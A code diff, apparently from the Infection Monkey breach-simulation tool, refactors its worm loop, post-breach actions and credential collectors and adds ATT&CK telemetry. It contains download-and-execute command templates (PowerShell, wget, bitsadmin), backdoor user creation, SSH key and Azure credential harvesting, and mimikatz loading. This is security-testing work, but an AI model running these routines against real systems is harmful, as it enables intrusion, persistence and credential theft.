POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
|
||||
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
|
||||
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
|
||||
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
|
||||
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
||||
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
# Commands used to check for architecture and if machine is exploitable
|
||||
|
|
|
@ -7,7 +7,8 @@ import time
|
|||
from six.moves import xrange
|
||||
|
||||
import infection_monkey.tunnel as tunnel
|
||||
import infection_monkey.utils as utils
|
||||
from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
|
||||
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.model import DELAY_DELETE_CMD
|
||||
|
@ -16,6 +17,7 @@ from infection_monkey.network.network_scanner import NetworkScanner
|
|||
from infection_monkey.system_info import SystemInfoCollector
|
||||
from infection_monkey.system_singleton import SystemSingleton
|
||||
from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
|
||||
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
|
||||
from infection_monkey.telemetry.scan_telem import ScanTelem
|
||||
from infection_monkey.telemetry.state_telem import StateTelem
|
||||
from infection_monkey.telemetry.system_info_telem import SystemInfoTelem
|
||||
|
@ -23,8 +25,10 @@ from infection_monkey.telemetry.trace_telem import TraceTelem
|
|||
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
|
||||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit.tools import get_interface_to_target
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
|
||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -66,10 +70,7 @@ class InfectionMonkey(object):
|
|||
self._parent = self._opts.parent
|
||||
self._default_tunnel = self._opts.tunnel
|
||||
self._default_server = self._opts.server
|
||||
try:
|
||||
self._default_server_port = self._default_server.split(':')[1]
|
||||
except KeyError:
|
||||
self._default_server_port = ''
|
||||
|
||||
if self._opts.depth:
|
||||
WormConfiguration._depth_from_commandline = True
|
||||
self._keep_running = True
|
||||
|
@ -86,12 +87,13 @@ class InfectionMonkey(object):
|
|||
def start(self):
|
||||
LOG.info("Monkey is running...")
|
||||
|
||||
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
|
||||
LOG.info("Monkey couldn't find server. Going down.")
|
||||
# Sets island's IP and port for monkey to communicate to
|
||||
if not self.set_default_server():
|
||||
return
|
||||
self.set_default_port()
|
||||
|
||||
# Create a dir for monkey files if there isn't one
|
||||
utils.create_monkey_dir()
|
||||
create_monkey_dir()
|
||||
|
||||
if WindowsUpgrader.should_upgrade():
|
||||
self._upgrading_to_64 = True
|
||||
|
@ -103,6 +105,9 @@ class InfectionMonkey(object):
|
|||
ControlClient.wakeup(parent=self._parent)
|
||||
ControlClient.load_control_config()
|
||||
|
||||
if utils.is_windows_os():
|
||||
T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()
|
||||
|
||||
if not WormConfiguration.alive:
|
||||
LOG.info("Marked not alive from configuration")
|
||||
return
|
||||
|
@ -114,10 +119,7 @@ class InfectionMonkey(object):
|
|||
if monkey_tunnel:
|
||||
monkey_tunnel.start()
|
||||
|
||||
StateTelem(False).send()
|
||||
|
||||
self._default_server = WormConfiguration.current_server
|
||||
LOG.debug("default server: %s" % self._default_server)
|
||||
StateTelem(is_done=False).send()
|
||||
TunnelTelem().send()
|
||||
|
||||
if WormConfiguration.collect_system_info:
|
||||
|
@ -183,7 +185,7 @@ class InfectionMonkey(object):
|
|||
(':'+self._default_server_port if self._default_server_port else ''))
|
||||
else:
|
||||
machine.set_default_server(self._default_server)
|
||||
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
|
||||
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
|
||||
|
||||
# Order exploits according to their type
|
||||
if WormConfiguration.should_exploit:
|
||||
|
@ -229,14 +231,13 @@ class InfectionMonkey(object):
|
|||
InfectionMonkey.close_tunnel()
|
||||
firewall.close()
|
||||
else:
|
||||
StateTelem(False).send() # Signal the server (before closing the tunnel)
|
||||
StateTelem(is_done=True).send() # Signal the server (before closing the tunnel)
|
||||
InfectionMonkey.close_tunnel()
|
||||
firewall.close()
|
||||
if WormConfiguration.send_log_to_server:
|
||||
self.send_log()
|
||||
self._singleton.unlock()
|
||||
|
||||
utils.remove_monkey_dir()
|
||||
InfectionMonkey.self_delete()
|
||||
LOG.info("Monkey is shutting down")
|
||||
|
||||
|
@ -249,9 +250,13 @@ class InfectionMonkey(object):
|
|||
|
||||
@staticmethod
|
||||
def self_delete():
|
||||
status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED
|
||||
T1107Telem(status, get_monkey_dir_path()).send()
|
||||
|
||||
if WormConfiguration.self_delete_in_cleanup \
|
||||
and -1 == sys.executable.find('python'):
|
||||
try:
|
||||
status = None
|
||||
if "win32" == sys.platform:
|
||||
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
|
||||
startupinfo = subprocess.STARTUPINFO()
|
||||
|
@ -262,11 +267,15 @@ class InfectionMonkey(object):
|
|||
close_fds=True, startupinfo=startupinfo)
|
||||
else:
|
||||
os.remove(sys.executable)
|
||||
status = ScanStatus.USED
|
||||
except Exception as exc:
|
||||
LOG.error("Exception in self delete: %s", exc)
|
||||
status = ScanStatus.SCANNED
|
||||
if status:
|
||||
T1107Telem(status, sys.executable).send()
|
||||
|
||||
def send_log(self):
|
||||
monkey_log_path = utils.get_monkey_log_path()
|
||||
monkey_log_path = get_monkey_log_path()
|
||||
if os.path.exists(monkey_log_path):
|
||||
with open(monkey_log_path, 'r') as f:
|
||||
log = f.read()
|
||||
|
@ -297,7 +306,11 @@ class InfectionMonkey(object):
|
|||
return True
|
||||
else:
|
||||
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
||||
|
||||
except ExploitingVulnerableMachineError as exc:
|
||||
LOG.error("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
self.successfully_exploited(machine, exploiter)
|
||||
return True
|
||||
except Exception as exc:
|
||||
LOG.exception("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
|
@ -321,3 +334,17 @@ class InfectionMonkey(object):
|
|||
self._keep_running = False
|
||||
|
||||
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
|
||||
|
||||
def set_default_port(self):
|
||||
try:
|
||||
self._default_server_port = self._default_server.split(':')[1]
|
||||
except KeyError:
|
||||
self._default_server_port = ''
|
||||
|
||||
def set_default_server(self):
|
||||
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
|
||||
LOG.info("Monkey couldn't find server. Going down.")
|
||||
return False
|
||||
self._default_server = WormConfiguration.current_server
|
||||
LOG.debug("default server set to: %s" % self._default_server)
|
||||
return True
|
||||
|
|
|
@ -6,11 +6,11 @@ import requests
|
|||
from requests.exceptions import Timeout, ConnectionError
|
||||
|
||||
import infection_monkey.config
|
||||
from common.data.network_consts import ES_SERVICE
|
||||
from infection_monkey.model.host import VictimHost
|
||||
from infection_monkey.network import HostFinger
|
||||
|
||||
ES_PORT = 9200
|
||||
ES_SERVICE = 'elastic-search-9200'
|
||||
ES_HTTP_TIMEOUT = 5
|
||||
LOG = logging.getLogger(__name__)
|
||||
__author__ = 'danielg'
|
||||
|
|
|
@ -10,7 +10,7 @@ import re
|
|||
from six.moves import range
|
||||
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||
from infection_monkey.utils import is_64bit_python
|
||||
from infection_monkey.utils.environment import is_64bit_python
|
||||
|
||||
DEFAULT_TIMEOUT = 10
|
||||
BANNER_READ = 1024
|
||||
|
|
|
@ -1,21 +1,16 @@
|
|||
import datetime
|
||||
from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER
|
||||
from infection_monkey.post_breach.pba import PBA
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
|
||||
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
|
||||
WormConfiguration.user_to_add]
|
||||
|
||||
WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
|
||||
WormConfiguration.remote_user_pass,
|
||||
'/add', '/ACTIVE:NO']
|
||||
from infection_monkey.utils.users import get_commands_to_add_user
|
||||
|
||||
|
||||
class BackdoorUser(PBA):
|
||||
def __init__(self):
|
||||
super(BackdoorUser, self).__init__("Backdoor user",
|
||||
linux_cmd=' '.join(LINUX_COMMANDS),
|
||||
windows_cmd=WINDOWS_COMMANDS)
|
||||
linux_cmds, windows_cmds = get_commands_to_add_user(
|
||||
WormConfiguration.user_to_add,
|
||||
WormConfiguration.remote_user_pass)
|
||||
super(BackdoorUser, self).__init__(
|
||||
POST_BREACH_BACKDOOR_USER,
|
||||
linux_cmd=' '.join(linux_cmds),
|
||||
windows_cmd=windows_cmds)
|
||||
|
||||
|
|
|
@ -0,0 +1,143 @@
|
|||
import logging
|
||||
import os
|
||||
import random
|
||||
import string
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
import win32event
|
||||
|
||||
from infection_monkey.utils.windows.auto_new_user import AutoNewUser, NewUserError
|
||||
from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
|
||||
from infection_monkey.post_breach.pba import PBA
|
||||
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
from infection_monkey.utils.linux.users import get_linux_commands_to_delete_user, get_linux_commands_to_add_user
|
||||
|
||||
PING_TEST_DOMAIN = "google.com"
|
||||
|
||||
PING_WAIT_TIMEOUT_IN_MILLISECONDS = 20 * 1000
|
||||
|
||||
CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged."
|
||||
CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})."
|
||||
|
||||
USERNAME = "somenewuser"
|
||||
PASSWORD = "N3WPa55W0rD!1"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class CommunicateAsNewUser(PBA):
|
||||
"""
|
||||
This PBA creates a new user, and then pings google as that user. This is used for a Zero Trust test of the People
|
||||
pillar. See the relevant telemetry processing to see what findings are created.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER)
|
||||
|
||||
def run(self):
|
||||
username = CommunicateAsNewUser.get_random_new_user_name()
|
||||
if is_windows_os():
|
||||
self.communicate_as_new_user_windows(username)
|
||||
else:
|
||||
self.communicate_as_new_user_linux(username)
|
||||
|
||||
@staticmethod
|
||||
def get_random_new_user_name():
|
||||
return USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
|
||||
|
||||
def communicate_as_new_user_linux(self, username):
|
||||
try:
|
||||
# add user + ping
|
||||
linux_cmds = get_linux_commands_to_add_user(username)
|
||||
commandline = "ping -c 1 {}".format(PING_TEST_DOMAIN)
|
||||
linux_cmds.extend([";", "sudo", "-u", username, commandline])
|
||||
final_command = ' '.join(linux_cmds)
|
||||
exit_status = os.system(final_command)
|
||||
self.send_ping_result_telemetry(exit_status, commandline, username)
|
||||
# delete the user, async in case it gets stuck.
|
||||
_ = subprocess.Popen(
|
||||
get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True)
|
||||
# Leaking the process on purpose - nothing we can do if it's stuck.
|
||||
except subprocess.CalledProcessError as e:
|
||||
PostBreachTelem(self, (e.output, False)).send()
|
||||
|
||||
def communicate_as_new_user_windows(self, username):
|
||||
# Importing these only on windows, as they won't exist on linux.
|
||||
import win32con
|
||||
import win32process
|
||||
import win32api
|
||||
|
||||
try:
|
||||
with AutoNewUser(username, PASSWORD) as new_user:
|
||||
# Using os.path is OK, as this is on windows for sure
|
||||
ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe")
|
||||
if not os.path.exists(ping_app_path):
|
||||
PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send()
|
||||
return # Can't continue without ping.
|
||||
|
||||
try:
|
||||
# Open process as that user:
|
||||
# https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
|
||||
commandline = "{} {} {} {}".format(ping_app_path, PING_TEST_DOMAIN, "-n", "1")
|
||||
process_handle, thread_handle, _, _ = win32process.CreateProcessAsUser(
|
||||
new_user.get_logon_handle(), # A handle to the primary token that represents a user.
|
||||
None, # The name of the module to be executed.
|
||||
commandline, # The command line to be executed.
|
||||
None, # Process attributes
|
||||
None, # Thread attributes
|
||||
True, # Should inherit handles
|
||||
win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process.
|
||||
None, # An environment block for the new process. If this parameter is NULL, the new process
|
||||
# uses the environment of the calling process.
|
||||
None, # CWD. If this parameter is NULL, the new process will have the same current drive and
|
||||
# directory as the calling process.
|
||||
win32process.STARTUPINFO() # STARTUPINFO structure.
|
||||
# https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
|
||||
)
|
||||
|
||||
logger.debug(
|
||||
"Waiting for ping process to finish. Timeout: {}ms".format(PING_WAIT_TIMEOUT_IN_MILLISECONDS))
|
||||
|
||||
# Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later.
|
||||
_ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out.
|
||||
process_handle, # Ping process handle
|
||||
PING_WAIT_TIMEOUT_IN_MILLISECONDS # Timeout in milliseconds
|
||||
)
|
||||
|
||||
ping_exit_code = win32process.GetExitCodeProcess(process_handle)
|
||||
|
||||
self.send_ping_result_telemetry(ping_exit_code, commandline, username)
|
||||
except Exception as e:
|
||||
# If failed on 1314, it's possible to try to elevate the rights of the current user with the
|
||||
# "Replace a process level token" right, using Local Security Policy editing.
|
||||
PostBreachTelem(self, (
|
||||
"Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send()
|
||||
finally:
|
||||
try:
|
||||
win32api.CloseHandle(process_handle)
|
||||
win32api.CloseHandle(thread_handle)
|
||||
except Exception as err:
|
||||
logger.error("Close handle error: " + str(err))
|
||||
except subprocess.CalledProcessError as err:
|
||||
PostBreachTelem(self, (
|
||||
"Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)),
|
||||
False)).send()
|
||||
except NewUserError as e:
|
||||
PostBreachTelem(self, (str(e), False)).send()
|
||||
|
||||
def send_ping_result_telemetry(self, exit_status, commandline, username):
|
||||
"""
|
||||
Parses the result of ping and sends telemetry accordingly.
|
||||
|
||||
:param exit_status: In both Windows and Linux, 0 exit code from Ping indicates success.
|
||||
:param commandline: Exact commandline which was executed, for reporting back.
|
||||
:param username: Username from which the command was executed, for reporting back.
|
||||
"""
|
||||
if exit_status == 0:
|
||||
PostBreachTelem(self, (
|
||||
CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send()
|
||||
else:
|
||||
PostBreachTelem(self, (
|
||||
CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT.format(commandline, username, exit_status), False)).send()
|
|
@ -1,11 +1,15 @@
|
|||
import os
|
||||
import logging
|
||||
|
||||
from infection_monkey.utils import is_windows_os
|
||||
from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
from infection_monkey.post_breach.pba import PBA
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -24,7 +28,7 @@ class UsersPBA(PBA):
|
|||
Defines user's configured post breach action.
|
||||
"""
|
||||
def __init__(self):
|
||||
super(UsersPBA, self).__init__("File execution")
|
||||
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
|
||||
self.filename = ''
|
||||
if not is_windows_os():
|
||||
# Add linux commands to PBA's
|
||||
|
@ -79,9 +83,22 @@ class UsersPBA(PBA):
|
|||
|
||||
pba_file_contents = ControlClient.get_pba_file(filename)
|
||||
|
||||
status = None
|
||||
if not pba_file_contents or not pba_file_contents.content:
|
||||
LOG.error("Island didn't respond with post breach file.")
|
||||
status = ScanStatus.SCANNED
|
||||
|
||||
if not status:
|
||||
status = ScanStatus.USED
|
||||
|
||||
T1105Telem(status,
|
||||
WormConfiguration.current_server.split(':')[0],
|
||||
get_interface_to_target(WormConfiguration.current_server.split(':')[0]),
|
||||
filename).send()
|
||||
|
||||
if status == ScanStatus.SCANNED:
|
||||
return False
|
||||
|
||||
try:
|
||||
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
||||
written_PBA_file.write(pba_file_contents.content)
|
||||
|
|
|
@ -1,16 +1,18 @@
|
|||
import logging
|
||||
import subprocess
|
||||
import socket
|
||||
from infection_monkey.control import ControlClient
|
||||
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
|
||||
from infection_monkey.utils import is_windows_os
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
|
||||
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)"
|
||||
|
||||
class PBA(object):
|
||||
"""
|
||||
|
@ -19,7 +21,8 @@ class PBA(object):
|
|||
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
|
||||
"""
|
||||
:param name: Name of post breach action.
|
||||
:param command: Command that will be executed on breached machine
|
||||
:param linux_cmd: Command that will be executed on breached machine
|
||||
:param windows_cmd: Command that will be executed on breached machine
|
||||
"""
|
||||
self.command = PBA.choose_command(linux_cmd, windows_cmd)
|
||||
self.name = name
|
||||
|
@ -46,15 +49,36 @@ class PBA(object):
|
|||
"""
|
||||
exec_funct = self._execute_default
|
||||
result = exec_funct()
|
||||
if self.scripts_were_used_successfully(result):
|
||||
T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send()
|
||||
PostBreachTelem(self, result).send()
|
||||
|
||||
def is_script(self):
|
||||
"""
|
||||
Determines if PBA is a script (PBA might be a single command)
|
||||
:return: True if PBA is a script(series of OS commands)
|
||||
"""
|
||||
return isinstance(self.command, list) and len(self.command) > 1
|
||||
|
||||
def scripts_were_used_successfully(self, pba_execution_result):
|
||||
"""
|
||||
Determines if scripts were used to execute PBA and if they succeeded
|
||||
:param pba_execution_result: result of execution function. e.g. self._execute_default
|
||||
:return: True if scripts were used, False otherwise
|
||||
"""
|
||||
pba_execution_succeeded = pba_execution_result[1]
|
||||
return pba_execution_succeeded and self.is_script()
|
||||
|
||||
def _execute_default(self):
|
||||
"""
|
||||
Default post breach command execution routine
|
||||
:return: Tuple of command's output string and boolean, indicating if it succeeded
|
||||
"""
|
||||
try:
|
||||
return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True
|
||||
output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True)
|
||||
if not output:
|
||||
output = EXECUTION_WITHOUT_OUTPUT
|
||||
return output, True
|
||||
except subprocess.CalledProcessError as e:
|
||||
# Return error output of the command
|
||||
return e.output, False
|
||||
|
|
|
@ -3,7 +3,7 @@ import inspect
|
|||
import importlib
|
||||
from infection_monkey.post_breach.pba import PBA
|
||||
from infection_monkey.post_breach.actions import get_pba_files
|
||||
from infection_monkey.utils import is_windows_os
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -25,8 +25,12 @@ class PostBreach(object):
|
|||
Executes all post breach actions.
|
||||
"""
|
||||
for pba in self.pba_list:
|
||||
pba.run()
|
||||
LOG.info("Post breach actions executed")
|
||||
try:
|
||||
LOG.debug("Executing PBA: '{}'".format(pba.name))
|
||||
pba.run()
|
||||
except Exception as e:
|
||||
LOG.error("PBA {} failed. Error info: {}".format(pba.name, e))
|
||||
LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
|
||||
|
||||
@staticmethod
|
||||
def config_to_pba_list():
|
||||
|
@ -45,7 +49,9 @@ class PostBreach(object):
|
|||
if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
|
||||
# Get post breach action object from class
|
||||
for pba_class in pba_classes:
|
||||
LOG.debug("Checking if should run PBA {}".format(pba_class.__name__))
|
||||
if pba_class.should_run(pba_class.__name__):
|
||||
pba = pba_class()
|
||||
pba_list.append(pba)
|
||||
LOG.debug("Added PBA {} to PBA list".format(pba_class.__name__))
|
||||
return pba_list
|
||||
|
|
|
@ -62,7 +62,7 @@ a. Build sambacry binaries yourself
|
|||
a.1. Install gcc-multilib if it's not installed
|
||||
sudo apt-get install gcc-multilib
|
||||
a.2. Build the binaries
|
||||
cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner
|
||||
cd [code location]/infection_monkey/exploit/sambacry_monkey_runner
|
||||
./build.sh
|
||||
|
||||
b. Download our pre-built sambacry binaries
|
||||
|
|
|
@ -1,10 +1,7 @@
|
|||
enum34
|
||||
impacket
|
||||
pycryptodome
|
||||
pyasn1
|
||||
cffi
|
||||
twisted
|
||||
rdpy
|
||||
requests
|
||||
odict
|
||||
paramiko
|
||||
|
|
|
@ -1,9 +1,7 @@
|
|||
enum34
|
||||
impacket
|
||||
pycryptodome
|
||||
pyasn1
|
||||
cffi
|
||||
twisted
|
||||
requests
|
||||
odict
|
||||
paramiko
|
||||
|
|
|
@ -3,6 +3,9 @@ import pwd
|
|||
import os
|
||||
import glob
|
||||
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
@ -71,6 +74,7 @@ class SSHCollector(object):
|
|||
if private_key.find('ENCRYPTED') == -1:
|
||||
info['private_key'] = private_key
|
||||
LOG.info("Found private key in %s" % private)
|
||||
T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send()
|
||||
else:
|
||||
continue
|
||||
except (IOError, OSError):
|
||||
|
|
|
@ -5,6 +5,10 @@ import json
|
|||
import glob
|
||||
import subprocess
|
||||
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
|
||||
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
@ -54,6 +58,8 @@ class AzureCollector(object):
|
|||
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
|
||||
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
|
||||
decrypt_data = json.loads(decrypt_raw)
|
||||
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
|
||||
T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send()
|
||||
return decrypt_data['username'], decrypt_data['password']
|
||||
except IOError:
|
||||
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||
|
@ -92,6 +98,8 @@ class AzureCollector(object):
|
|||
# this is disgusting but the alternative is writing the file to disk...
|
||||
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
|
||||
password = json.loads(password_raw)["Password"]
|
||||
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
|
||||
T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send()
|
||||
return username, password
|
||||
except IOError:
|
||||
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||
|
|
|
@ -5,7 +5,9 @@ import socket
|
|||
import zipfile
|
||||
|
||||
import infection_monkey.config
|
||||
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
from infection_monkey.telemetry.attack.t1129_telem import T1129Telem
|
||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
@ -49,8 +51,12 @@ class MimikatzCollector(object):
|
|||
self._get = get_proto(("get", self._dll))
|
||||
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
|
||||
self._isInit = True
|
||||
status = ScanStatus.USED
|
||||
except Exception:
|
||||
LOG.exception("Error initializing mimikatz collector")
|
||||
status = ScanStatus.SCANNED
|
||||
T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send()
|
||||
T1129Telem(status, UsageEnum.MIMIKATZ).send()
|
||||
|
||||
def get_logon_info(self):
|
||||
"""
|
||||
|
@ -67,7 +73,7 @@ class MimikatzCollector(object):
|
|||
|
||||
logon_data_dictionary = {}
|
||||
hostname = socket.gethostname()
|
||||
|
||||
|
||||
self.mimikatz_text = self._get_text_output_proto()
|
||||
|
||||
for i in range(entry_count):
|
||||
|
@ -102,7 +108,7 @@ class MimikatzCollector(object):
|
|||
except Exception:
|
||||
LOG.exception("Error getting logon info")
|
||||
return {}
|
||||
|
||||
|
||||
def get_mimikatz_text(self):
|
||||
return self.mimikatz_text
|
||||
|
||||
|
|
|
@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector):
|
|||
if "credentials" in self.info:
|
||||
self.info["credentials"].update(mimikatz_info)
|
||||
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
|
||||
LOG.info('Mimikatz info gathered successfully')
|
||||
else:
|
||||
LOG.info('No mimikatz info was gathered')
|
||||
|
|
|
@ -5,6 +5,7 @@ from abc import ABCMeta, abstractmethod
|
|||
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
@ -41,20 +42,17 @@ class WindowsSystemSingleton(_SystemSingleton):
|
|||
ctypes.c_bool(True),
|
||||
ctypes.c_char_p(self._mutex_name))
|
||||
last_error = ctypes.windll.kernel32.GetLastError()
|
||||
|
||||
if not handle:
|
||||
LOG.error("Cannot acquire system singleton %r, unknown error %d",
|
||||
self._mutex_name, last_error)
|
||||
|
||||
return False
|
||||
|
||||
if winerror.ERROR_ALREADY_EXISTS == last_error:
|
||||
LOG.debug("Cannot acquire system singleton %r, mutex already exist",
|
||||
self._mutex_name)
|
||||
|
||||
return False
|
||||
|
||||
self._mutex_handle = handle
|
||||
|
||||
LOG.debug("Global singleton mutex %r acquired",
|
||||
self._mutex_name)
|
||||
|
||||
|
@ -62,7 +60,6 @@ class WindowsSystemSingleton(_SystemSingleton):
|
|||
|
||||
def unlock(self):
|
||||
assert self._mutex_handle is not None, "Singleton not locked"
|
||||
|
||||
ctypes.windll.kernel32.CloseHandle(self._mutex_handle)
|
||||
self._mutex_handle = None
|
||||
|
||||
|
|
|
@ -0,0 +1,22 @@
|
|||
from infection_monkey.telemetry.attack.attack_telem import AttackTelem
|
||||
|
||||
|
||||
class T1005Telem(AttackTelem):
|
||||
def __init__(self, status, gathered_data_type, info=""):
|
||||
"""
|
||||
T1005 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param gathered_data_type: Type of data collected from local system
|
||||
:param info: Additional info about data
|
||||
"""
|
||||
super(T1005Telem, self).__init__('T1005', status)
|
||||
self.gathered_data_type = gathered_data_type
|
||||
self.info = info
|
||||
|
||||
def get_data(self):
|
||||
data = super(T1005Telem, self).get_data()
|
||||
data.update({
|
||||
'gathered_data_type': self.gathered_data_type,
|
||||
'info': self.info
|
||||
})
|
||||
return data
|
|
@ -0,0 +1,11 @@
|
|||
from infection_monkey.telemetry.attack.usage_telem import UsageTelem
|
||||
|
||||
|
||||
class T1035Telem(UsageTelem):
|
||||
def __init__(self, status, usage):
|
||||
"""
|
||||
T1035 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param usage: Enum of UsageEnum type
|
||||
"""
|
||||
super(T1035Telem, self).__init__('T1035', status, usage)
|
|
@ -0,0 +1,19 @@
|
|||
from infection_monkey.telemetry.attack.usage_telem import AttackTelem
|
||||
|
||||
|
||||
